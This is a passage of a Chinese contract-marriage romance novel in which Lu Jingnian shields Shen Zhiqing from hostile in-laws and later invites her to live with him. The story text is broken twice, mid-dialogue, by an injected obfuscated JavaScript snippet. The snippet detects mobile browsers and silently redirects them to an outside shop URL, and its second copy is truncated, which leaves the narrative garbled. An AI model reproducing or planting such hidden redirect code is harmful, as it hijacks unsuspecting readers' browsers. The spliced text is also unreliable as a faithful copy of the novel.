“我倒是庆幸没嫁给陆奕川这个缩头乌龟王八蛋,敢做不敢当算什么男人?!”沈栀清简直要被气的背过气,但还是在心里不断提醒自己一定要稳住,毕竟是陆家的人,谁知道陆璟年会不会为了大局放弃她?毕竟,今天来的还有位林毓芳。 可让她没想到的是,陆璟年只是起身揽住她的肩膀,将人带着坐到刚才的位置,然后重新拿起一颗糖果,动作不急不缓地将糖纸剥开,最后放到她掌心,依然温柔,“尝尝?” 沈栀清实在看不透他,只是攥着那颗糖果,看向他的眼神很复杂,是在猜他到底什么意思。 陆璟年一直不说话,安静的这段时间,让陆沉舟和季苏都已经开始沉不住气,连带着一直沉默的林毓芳都忍不住开口问:“璟年,这件事你是什么态度?” 沈栀清同样好奇陆璟年会说些什么,同时也已经做好最坏的打算,所以也在等,直到看见他前一秒面对自己时温柔的神情到转头面对另外那三人时突然沉冷下的表情,惊讶的同时,还有他随口而出的那句话。 “林姨,您今天带着他们登门,除了给我妻子泼脏水之外还有其他事吗?” “泼脏水?”季苏干脆站起来,眼睛瞪着,“璟年,我们和妈可都是为了你好,这样的女孩儿娶进门对陆家来说简直就是祸事,她今天能对奕川下这么重的手,明天指不定还能做出什么伤天害理的事,没准对你都是威胁,你现在掌管整个陆氏,如果栽在一个女人身上,传出去不是叫人笑话?!怎么对得起爸对你的信任!” “我看趁事情还有转圜的余地,不如——” 沈栀清被气笑了,这会儿也在心里想,当初自己怎么就会被她那副柔弱温柔的外表蒙骗? 陆璟突然年拿起桌上的青花釉里红茶杯重重砸向地板,杯壁上的缠枝莲碎成几瓣,碎渣迸溅到三人身上,连带着里面冷了的茶水,季苏显然没预料到这种情况,眼睛短暂失神几秒,林毓芳也没了方才的淡然,被陆沉舟搀扶着慌乱起身,多少有些落魄。 “璟年,你这是做什么?” 陆璟年已经从沙发上起身,一步一步朝着他们走过去,脸色阴沉的吓人。 “说完了?”陆璟年冷眼扫过去,“我猜你们应该已经去酒吧查过监控,自以为没有任何记录就可以随意胡说?怎么不问问那根独苗,那晚做了什么混账事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276006|198244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!” 季苏还在狡辩:“璟年,你可不能听她一面之词啊!” “璟年,你大哥大嫂也是为你好。”林毓芳一看事情有偏轨的可能,也不再假装置身事外,急着出声。 “为我好?一面之词?”陆璟年低声冷笑,笑声回荡在屋内,令人毛骨悚然,这么多年,这些人连台词都不换。 “怎么?陆奕川没跟你们说,那晚我也在场?!” 一句话,让原本气焰嚣张的两人彻底安静,僵硬在脸上的表情看起来有些滑稽,就连林毓芳平静的脸上都跟着泛了泛白。 从进门到现在,季苏和陆沉舟原本就是计划好的,相互配合着几句话,把白的描成黑的,是因为他们确信沈栀清拿不出任何证据,他们的确叫人去过那家酒吧,找过那天的监控录像,可恰好没有那晚的任何记录,所以笃定即便沈栀清有一万张嘴也不能把这件事说清,再加上陆璟年的为人秉性,沈栀清罪名一旦坐实,他绝不会容忍这种人待在自己身边。 可万万没想到,他们竟忽略了陆奕川对陆璟年的恐惧。 陆奕川的确跟家里说了那晚发生的事,可也是挑挑拣拣只说了对自己有利的,甚至连陆璟年这名字都没敢提,而陆沉舟和季苏还有林毓芳怎么也不会想到,那晚陆璟年也在且清楚整件事的来龙去脉。 “看来真是我高估他了。”陆璟年这话嫌弃的彻底。 “爆料的帖子想必大哥大嫂也已经知道了,不然那些东西不会在一夜之间消失的干干净净,这次对他来说只是个警告,下次可不会这么轻易就翻篇。” 陆璟年眼神锋利朝他们扫过去,是很直白的警告。 虽然早就料到这件事是陆璟年的手笔,但听到始作俑者亲口承认,陆沉舟哪还压得住火,“为了一个女人把家里折腾的鸡犬不宁!璟年,你糊涂不糊涂?!” 季苏也坐下开始哭,边掉泪边诉苦,“你大哥为了这个家牺牲这么多,你不领情也就算了,还要为了一个外人这么对待自己的亲侄儿!爸要是知道一定不会放过你的,奕川可是爸妈最疼的孙子,是咱们陆家的一块心头肉啊,你怎么能这么对待他,他还只是一个孩子啊!” “大嫂,眼泪还有你说的这些都留到老爷子面前用吧,别在我这儿浪费了。”陆璟年冷声说。 “还有,我要提醒一下你们,清清是我的妻子,是对我来说很重要的人,不是你们口中不想干的外人,我希望你们尊重她,当然,如果实在做不到就像团空气一样别打扰她最好。” 话已经说得很明白,陆沉舟和季苏却没有见好就收的意思,一个怒目圆瞪,一个哭哭啼啼,陆璟年满脸不屑地笑了笑,握住沈栀清垂在身侧的手,带着她一起坐回去,动作温柔地把玩着她纤细素白的手指,说话的语气却很严肃甚至可以说是在警告,“如果你们今天一定要在这儿讨个什么说法,不如我们换个方式,就是不知道,到时的后果你们能不能承担的起。”陆璟年说完,眼神转向旁边沉默不语的林毓芳。 “林姨,您怎么说也是陆家的长辈,刚好今天也来做个见证,别到时又有什么闲话传出去说我不尊重兄长之类的。”这话乍一听没什么,但若配上陆璟年暗暗讽刺的语气,再迟钝的人也该听出这话的意思了。 陆沉舟和季苏顿时安静了,看着两人堪比调色盘的脸色,沈栀清在一旁都有些替他们尴尬,原以为陆奕川这种在男人的行列里已经够差劲了,没想到连在人的行列里都是倒数,真没见过给自己爹妈挖这么一大坑的儿子。 可除此之外,让她更意外的是,陆璟年竟然没有为了家里的和气而放弃自己,毕竟,在她的认知中,出生在这样的家庭注定要成为家庭和睦的养料,即便只是维持良好的面子关系,因为父亲沈淮安一直是这么做的。 她偏头看着他,指尖落在他掌心,温热的触感让她的空荡荡的心里也平白染上一点暖。 从母亲去世后,韩静初进家门的那一刻开始,无论发生什么,她总是最先被舍弃的那一个,因为面子,因为莫须有的和睦,哪怕错的并不是她,可父亲从没有一次站在她这边,哪怕只有一次。 沈栀清突然觉得,这么多年她曾幻想过无数次的坚定,在今天,被这个和她只是合约婚约关系的男人做到了,他就这么直接地将那份坚定的底气摆在她面前,维护她的话说的那样有力,仿佛本该如此,而事实上也确实应该如此。这种感觉就像是多年的苦楚终于迎来沉冤得雪的一天,或许这种比喻实在不恰当,可当下,沈栀清的感觉的确如此。 终于有人肯不顾一切选择站在她的身边,虽然她知道他们只是合约关系,而陆璟年或许也只是出于两人之间的合作才会如此,但她的确有那么一点感动。 12. 同居邀请 后来的事,沈栀清在长久的发呆中有一点印象,陆沉舟死要面子即便自己做错也不肯道歉,强撑着自己是长子的身份,父母爱子,即便错也是没错,倒是季苏和林毓芳拉下脸,赔笑着跟沈栀清又是道歉又是承诺回家一定好好收拾那个臭小子,一改方才想要吃人的态度,活像是妖怪重新披上人皮做人的感觉。 沈栀清不出声,也不说接不接受,心里只想他们赶紧离开这里,自己也好清静清静,眼看着林毓芳说着说着就要掉眼泪,她看向陆璟年,眼神中带着点求助,后者只是将她从两人之间拉起来,然后带她上楼,同时对正在厨房收拾的阿姨喊了声:“崔姨,茶凉了。” 沈栀清被陆璟年直接带回卧室,过两秒才发现,他始终牵着自己的手没松开,她觉得有些别扭,用了点力,挣脱开他手掌,随后一个人走到窗边假装看景色,起初只是想着缓解尴尬的同时顺便缓和一下脸颊那一点烫,刚从鸡毛蒜皮中抽身,这会儿只想换个心情,后来,屋外枝头偶有鸟儿停落,她视线跟随,思绪也渐渐跟着发散。 其实这会儿想来,刚刚他们说的那些话,并没有真的伤害到她,有时候直白的羞辱要好过看似对你好实则是在等一个机会对你下死手要强很多,虽然不管哪种恶意都很恶心,也幸好那晚陆璟年在场,不然这会儿她应该已经成为一颗弃子了。 经此一事,让她彻底明白,刚才那三位,是日后绝对不能再相信的人,省去了很多浪费时间的试探,而她,也早已不再是那个很好骗的小女孩了。 见沈栀清站在窗前迟迟未动,陆璟年视线落在她那抹纤瘦背影,紧接着朝她走过去,不知过了多久,才问:“在想什么?” 沈栀清眼睛盯着窗外已经结冰的湖水,平静开口:“在想春天什么时候可以来。” 陆璟年笑问:“不喜欢冬天?” 沈栀清点头,“嗯,不喜欢冷冰冰的一切。”包括那个曾经对她来说很温暖的家。 沈栀清也不知道自己为什么会想到那些陈年往事,或许是刚刚有那么一瞬间,她在他们身上看到了韩静初的影子,唯一不同的,是韩静初从来都是软刀子,而这一点却恰好又和林毓芳有点像。 她又想到陆璟年,忍不住猜想,有林毓芳那样的人做继母,这么多年,他过得也很辛苦吧。 于是忍不住问:“陆先生你呢?喜欢冬天吗?” 陆璟年的回答跟她不同,他说:“四季对我来说,没什么分别。” 后来,两人都不再说话,直到楼下传来重重地关门声。 沈栀清如释重负,心底彻底松了一口气,这场戏落幕了,她终于可以回到自己的小窝,于是笑着和陆璟年道别:“陆先生,那我就先走了。” 正准备转身,突然又被陆璟年喊住:“沈小姐。” “嗯?” “希望你考虑一下住过来这件事。” “住过来?”沈栀清反问。 陆璟年语气中是平日里少有的耐心,“像刚刚那样的事,恐怕以后只会更多。” 无中生有的事,只会更多。 沈栀清怎么会听不懂这话里的意思,这段时间在陆家经历的这些事,已经足够让她看清楚陆沉舟还有季苏是什么样的人,至于林毓芳,她今天虽只接触一次,却也看出她不是省油的灯,麻烦事只怕是会一件接一件,不会消停了。 “那我们......”沈栀清停顿一下,还是没想好要怎么问。 陆璟年却听明白她的欲言又止,直言:“住在一起。” 沈栀清下意识看了看这间屋子,思考半天还是觉得自己没做好准备,干脆拒绝:“陆先生,这件事我想再认真想一下,不过,这段时间如果有需要我到场的时候,您可以电话通知我,我车技还不错,不出意外应该会在规定时间内到达,反正也只是在他们眼前演戏而已。”沈栀清说完顿了顿,然后继续说:“您应该不会让他们住进来吧?” “不会。” “那陆总再见。” “嗯。” 陆璟年的声音随着卧室门锁落下的声音响起,沈栀清几乎是逃着离开这间屋子。 望着她离开的方向,陆璟年神色平静,她会拒绝,完全在他意料之中,所以也没打算继续劝,只要她不嫌麻烦,都随她。 手机震动的声音划破室内安静,陆璟年垂眸看了眼上面的来电显示,几不可察地皱了皱眉,再度走到窗前,接通。 年迈的声音从听筒传过来,还有几声因为身体虚弱的咳嗽声也紧接着响起,陆璟年安心等着,直到陆学谦的声音响起,“奕川的事是你做的?” “是。” “混帐东西!” 陆璟年冷言冷语,“想骂人,您打错电话了。” 陆学谦也不理,自顾自继续说:“都是一家人,天大的事关起门来自己解决,你倒好,巴不得把陆家的脸都扔到外面去丢!不给你哥的面子也就算了,难道现在我和你林姨的面子都不好使了?!” “面子是什么很值钱的东西吗?”陆璟年冷笑着反问,“谁丢脸,谁是混帐东西,您心里比我更清楚。” “况且对我来说,这些莫须有的东西远没有我妻子重要。” “我记得当初您也是这么维护林姨的,不是吗?” 陆学谦当时为了娶林毓芳也是闹得满城风雨,陆家长辈当两人过往的一段情史当作陆家的丑事,却没想到林毓芳多年后会再出现,还带回来一个男孩,而那时陆璟年的母亲许艾去世还没一个月,陆学谦最后什么手段都用上了,甚至不惜陆家祖辈积累下的名声脸面还有公司利益,那时候,陆学谦为了娶林毓芳进门可以说是豁出去了,陆家长辈最终也只能妥协。 那边一时噤了声,陆璟年静等着,心里默数几个数,数到三时,陆学谦的声音再度响起,“你林姨电话里一直在哭,说是没管好奕川,又冤枉了你那媳妇,想着过几天坐在一起说和说话,也算是尽尽长辈这份心意。” 陆璟年听完,眼神立马冷下来,丝毫不客气地说:“这么多年,您还是这么吃这一套。” 陆学谦知道自己说不过他这儿子,若是往前几年,身子骨好的时候,或许还能压制住,可现在人老了,一个月前那场意外差点要了他的命,在病床上昏睡这么久,一周前才刚醒过来,还没恢复好,估计再回复也恢复不到从前,脾气再硬的人都怕死亡,自然也磨搓掉了一些锐气。 “不管怎么说,你林姨这么多年对你还是不错的,别寒了她的心。”不给陆璟年反驳的机会,说完就把电话挂了,陆璟年也懒得计较,手机随意往床上一扔,懒得计较,自己这位父亲心盲眼瞎也不是一天两天的事了,不过,心里倒是难免有些好奇,林毓芳这一家又打的什么鬼主意。 沈栀清到家的时候,冯素月正拆外卖,看她回来,手里捧着一杯冰可乐去迎,“怎么一脸疲惫啊?演员小姐。” 沈栀清哪还有心思跟她逗嘴,整个人就像是被吸干了精气的,换好鞋,把外衣随手往沙发上一扔,就躺了下去,沈栀清其实想吐槽的又一大堆,可想了想又觉得没什么可说的,最后接过冯素月手上的冰可乐,咕咚咕咚喝了好几口,忍不住感叹,“难怪被叫做快乐肥宅水了。” 冯素月看她情绪那样,也不再追问,转身去桌上把麦当劳全都拎过来,在地毯上摆好,“先补充□□力?” 沈栀清点点头,起身坐下来,边吃边说 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“这几天接触下来,陆璟年确实比陆奕川强百倍,可再好,我对他也还没有男女之间的那种感情,同住屋檐下,总归是不舒服,虽然我承认自己存在侥幸心理,也确实仗着陆璟年的那点迁就,能拖一天就一天吧,想到要离开我的安全地去另外一个陌生的地方住,我就有点害怕,那种感觉就像是,韩静初搬到沈家别墅第一个晚上,陌生和未知都让我感到恐惧,对我来说,哪里都没有妈妈留给我的这间房子让我安心。” 冯素月听完,一脸心疼地看着沈栀清,没一会儿,眼睛里噙满泪水,“清清,要不我想想办法凑点钱,把孟阿姨给你留的那家画廊从你父亲那里买下来好了,你和陆璟年离婚吧。”婚礼上,她说的那些话不过是为了宽沈栀清的心,因为事情已成定局,说再多也只会平添烦恼,而陆璟年也的确是人选中脱颖而出的那一个,可她看着自己最好的朋友这样,依旧不忍心,依旧心疼,恨不得自己可以帮她这个忙,逃出这场利益编制的牢笼。 沈栀清看她那副掉眼泪的模样,忍不住笑出声,但紧接着眼角也湿润了,她找出纸巾凑过去在冯素月眼尾那里轻轻擦了擦,边擦边说:“傻姑娘,你有这份心我就很感动了,再说了,我爸才不会这么轻易就把那地方卖掉,不然怎么牵制住我?”不然,凭她的性格也不会落到和不喜欢的人草草结婚了。 气氛突然变得有些伤感,两个人互相给对方擦眼泪,然后抱在一起傻笑,沈栀清不想继续伤感下去,于是跟冯素月说今天发生的事。 把所有事情听完,冯素月果然不哭了,如果不是沈栀清反应快,这会儿她都要冲进厨房去拿菜刀杀到陆家再砍那孙子几刀。。 “幸好你没嫁给陆奕川那种垃圾,不然可真是跳进火坑了。” 其实沈栀清偶尔也会庆幸遇到陆璟年这根救命稻草,尤其是在经历这几件事之后,不管是酒吧还是今早在陆璟年家里发生的一切。 后来,两人又说了些别的,聊着聊着都有点困,起身收拾完垃圾,就各自回屋午休去了,再醒来,外面天已经擦黑,沈栀清睡之前手机调了静音,本想看下时间,结果打开手机就看到陆璟年打过来的十几个未接来电。 她揉了揉眼睛,这会儿还没完全清醒,屋里没开灯,她正准备给他回拨过去,手机这时又有电话打进来。 是陆璟年。 沈栀清点了接听,那头很安静,紧接着男人低哑的声音从听筒中传来。 “下楼。” “我在你家楼下。” 13. 冷蓝色 沈栀清从床上坐起来,还有些不确定,习惯性地揉了揉眼睛,光脚走到窗前往下面看,不远处,陆璟年那辆黑色宾利就停在路灯下,暖黄光线照在上面,配着冷蓝色夜幕,还有点说不出的意境,正走神,便又听到电话里传来的冷淡声音。 “看够了?” 沈栀清慌了慌神,回他:“马上。” 察觉出陆璟年的语气好像不是很好,再加上他这个人好像本来就没什么耐心,于是沈栀清随手从衣柜里捞了件毛衣套上,用皮绳胡乱扎了个低丸子头,从楼上卧室下来时,看到正坐在客厅追剧的冯素月,告诉她自己有事要出去一趟,问她有没有想吃的,回来的时候可以从超市带给她,冯素月半天没动静,沈栀清抬头看她一眼,见她正盯着自己。 “这么盯着我做什么?”沈栀清疑问道。 冯素月看着她说:“你该不会是要去见陆璟年吧?” 沈栀清停下穿鞋的动作,起身问:“你怎么知道?” 一个小时前,冯素月下楼喝水,突然听见一阵敲门的声音,那人敲得急促,门铃声摁个不停,她当时以为是陆奕川上门找事,情急之下还从厨房里摸了一把菜刀,跑到院里把门打开,才看清来的人是陆璟年。 “他让我别叫醒你,然后就走了,也不说那么急的敲门是为什么。”冯素月以为他真的就这么走了,还想着这事应该怎么跟沈栀清描述?就说陆璟年莫名其妙跑来敲了一顿门,然后就直接走了?这......有点神经吧。 “所以,他在外面等了一个小时?”冯素月忍不住嘀咕,“陆家的生意现在这么清闲了?” 沈栀清听完,头上也冒出好几个问号,如果是有重要的事,陆璟年打了那么多通电话,好不容易把门敲开难道不应该把他喊醒吗?还是说,是另外一层重要的事。 想不通,沈栀清便没继续想,反正人就在外面,待会儿直接问他好了。 从家里出来,沈栀清直接走到陆璟年的车前,这才发现,今天是他自己开车,于是打开车门坐进副驾。 “陆先生,我有的时候手机会开静音,所以才没接到您的电话,抱歉。”该道歉的态度还是要有的,毕竟确实是因为自己的疏忽,虽然她并没打算因此改掉这个习惯。 “手机呢?” 沈栀清疑惑着从口袋里掏出手机,然后递给他,“怎么了?” 陆璟年目光在她亮起的屏幕扫了一眼,随后收回视线,好像只是单纯的对她不接电话表示不满。 沈栀清自知理亏,把手机重新放回口袋,又问了一遍,“是有什么重要的事吗?”不然他没必要大老远跑过来就只为了看一眼她的手机吧? “给你带了晚饭。”陆璟年说着伸手从后面拿出一个包装精美的饭盒,沉甸甸的,看起来有些分量。 说不惊讶是假的,她甚至怀疑,难道家附近也有陆沉舟那边的眼线在看着他们?这么想着还往车窗外看了一眼。 陆璟年看着她那副草木皆兵的模样,原本萦绕在胸口的郁气也渐渐散了,灰着的一张脸也慢慢变得柔和,“是崔姨的一点心意。” 沈栀清脑袋里回想起那位身形微胖的阿姨,和林毓芳还有季苏的刻意不同,崔姨对她态度很和善,总是笑眯眯地一双眼睛,让人感觉很亲切。 “所以,您大老远跑过来就是来送饭?没有别的?”沈栀清其实心里松了一口气,只要不是现在拉上她去谁谁面前演戏,怎么都好说,她也不是不情愿,只是面对陆家那几位豺狼虎豹,要时时刻刻提着一颗心,累的不只是身体还有精神,不然她也不会就这么昏睡一下午。 可以配合,但也不要这么频繁。 “嗯,也算是感谢你今天的帮忙。”其实不是。 晚饭是崔姨特意为他准备的,这段时间陆璟年几乎不在家里住,大多是住在公司附近的酒店套房,崔姨在陆璟年身边也算是工作很久的老人,知道他向来是工作为主生活次要,自然也清楚这人忙起来连饭都顾不上吃,久而久之拖出了一点胃病,这才为他准备晚饭,临出门前还特意嘱咐他一定要都吃完。 担心了一路,陆璟年其实已经没胃口。 和陆学谦通过那通电话后,下午就收到林毓芳发过来的信息,文字太长他没耐心看完,但粗略扫了一眼,大概意思就是对今天的事情感到抱歉,想着明日上门跟沈栀清表达歉意,对这种虚伪,陆璟年向来是拒绝的,奈何自己那位父亲偏要从中做说客,有陆学谦兜底,不管陆璟年给不给面子,林毓芳都一定会登门,她要来,总不能闭着不见,不然又会想别的办法,猜不准她这次葫芦里卖的什么药,便想着提前知会沈栀清一声,没想到一连打了十几通电话都没人接,陆奕川那件事才刚过去没几天,开车赶来的路上脑海里又不断闪现幼时出车祸的场景,好几次差点走神,说不担心是假的,毕竟当初是自己拉她进这趟浑水,只是为了应付而非想害别人的命。 但好在,一切都是虚惊一场。 听他这么说,沈栀清这才接过来,“麻烦您大老远跑来送一趟,也请您帮我和崔姨道声谢。” “那我就先回去了。” 见陆璟年点头,沈栀清才终于如释重负般地从车上下来,关好车门后,车窗降到一半,沈栀清同他说再见,刚要转身就听到车里的人喊住她,沈栀清停下脚步,转头望他,“陆先生,还有事?” “紧急联系人会设置吗?”说着,陆璟年已经走到她跟前。 回到屋里,沈栀清还在回想陆璟年刚刚离开前说的那句话,还有他从车上走下来拿过她的手机,将自己那串号码设置成紧急联系人之后的举动。 她总觉得,陆璟年这人就像一团迷雾似的,走近或者离得很远都看不清。 或许是因为下午睡的时间太长,晚上竟然开始失眠,她从床上翻来覆去地折腾,同时也不断地在胡思乱想,想着这几天戏剧性的一切,突然,脑海里突然闪过一个念头,猛地从床上坐起来。 “他该不会是以为我出事了吧?”但这个想法也仅仅只存在三秒就消散了。 沈栀清下楼倒了一杯冰水,喝完后,看着只剩一点水的玻璃杯,笑自己想太多,然后回房睡觉。 第二天一早,她接到陆璟年的电话,说杨辰还有十分钟左右会到。 早晨五点,天都还没亮,她昨晚睡的又晚,这会儿意识不清楚,根本没细想手机为什么会在静音状态下还能响铃,说着说着就又睡了过去,甚至都没听到陆璟年后面说了什么,之后,还是冯素月跑来敲门才将她彻底喊醒。 沈栀清想起昨天对陆璟年的承诺,总的概述就是只要他需要他在场,她随时到达,于是本着这份契约精神,十五分钟收拾好全部,转身去床头柜那边拿手机的时候,才发现那通电话一直没被挂断。 沈栀清试探这喊了声:“陆先生?” 没想到那头很快回应,“嗯。” 不等她下一句问出来,那头又继续说:“注意安全。” 电话被挂断,沈栀清拎包出门,杨辰早就在外面等候,见她出来,从车上下来,绕到这边替她打开车门,等她坐好,再把门轻轻关上。 路上,沈栀清问杨辰怎么一大早跑来接她,是陆璟年那边出什么事了吗? 杨辰说自己也不清楚,只是按照老板的要求做事。 沈栀清便不再多问,车子很快到达香樟公馆,沈栀清下车后看到正站在门口整理东西的崔姨,想到昨晚那些饭菜,走上前打了声招呼,“崔姨,谢谢您昨天的晚饭,我和朋友全都吃完了。” 闻言,崔丽萍身形微顿,猜到是怎么一回事后,放下手上干活的工具,笑说:“合太太胃口就好。” “陆先生在楼上等您,快去吧。” 沈栀清点点头,又说了声谢。 进屋后,陆璟年刚好端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“璟年,真是不好意思,这么一大早打扰你和清清休息,我一会儿还得去医院陪你爸吃饭,所以只能赶着时间过来。”林毓芳解释了长长一段话,说完看向站在一旁的沈栀清,然后将手上拎着的保温桶放到餐桌上,顺便牵起她的手。 “清清啊,昨天那件事真是对不起,是你大哥大嫂的错,奕川那个孩子从小让他们给惯坏了,父母爱子嘛,有时候总是会敏感一点,你是个通情达理的好孩子,别跟他们计较,要说这件事,林姨也有错,没把事情调查清楚就冤枉了你,林姨也跟你说声对不起。” “这段时间,我在医院忙的都有休息时间,人老了,脑袋转得慢,别跟我一般见识啊。” “这是我一大早起来熬的鸡汤,你和璟年一起喝点,就当是林姨为昨天那件事向你赔不是了。” “......” 林毓芳并没待多久,和陆璟年又说了些陆学谦在医院的情况,这才离开。 看着放在桌上的鸡汤,沈栀清其实有点犯难,但陆璟年只是喊了声崔姨,那桶鸡汤就直接被倒在了后院的草坪上。 一连几天,沈栀清都在在早晨五点左右被杨辰接到香樟公馆,而林毓芳每天早晨变着花样的来送各种各样的补品,除了各种汤,还有什么花胶,燕窝之类,前几天还在因为那件事道歉,后几天干脆说起和沈淮安一样的话,譬如,作为长辈,他们也很期待陆璟年和她能赶紧生个孩子,虽然她心知肚明这话从她口中说出来多少有点假,可她多少明白,一定是有陆学谦的授意。 连续几天,沈栀清终于熬不住了,她每天的作息原本是睡到自然醒,再加上她平时有熬夜的习惯,早起一周对她来说已经算是奇迹。 林毓芳今天待的时间久了些,沈栀清起初还能强撑着困意,后来实在感觉她说话像是唐僧念咒,眼皮沉重地几乎快要合到一起,不知不觉就睡着了,陆璟年就坐她旁边,感受到肩膀的重量,偏了偏视线,没叫醒她,而是换了个让她更舒服的姿势,任由她沉沉睡去。 原本还在说话的林毓芳看到两人这副模样,话说一半停了下,在陆璟年看过来的目光下,才继续把话说完。 “栀清看上去好像很累?”林毓芳试探着问,心里其实在打鼓,又忍不住盘算日子,想着没这么快的。 陆璟年看着她,说了句模棱两可的回答,“或许是这段时间折腾的太狠了。”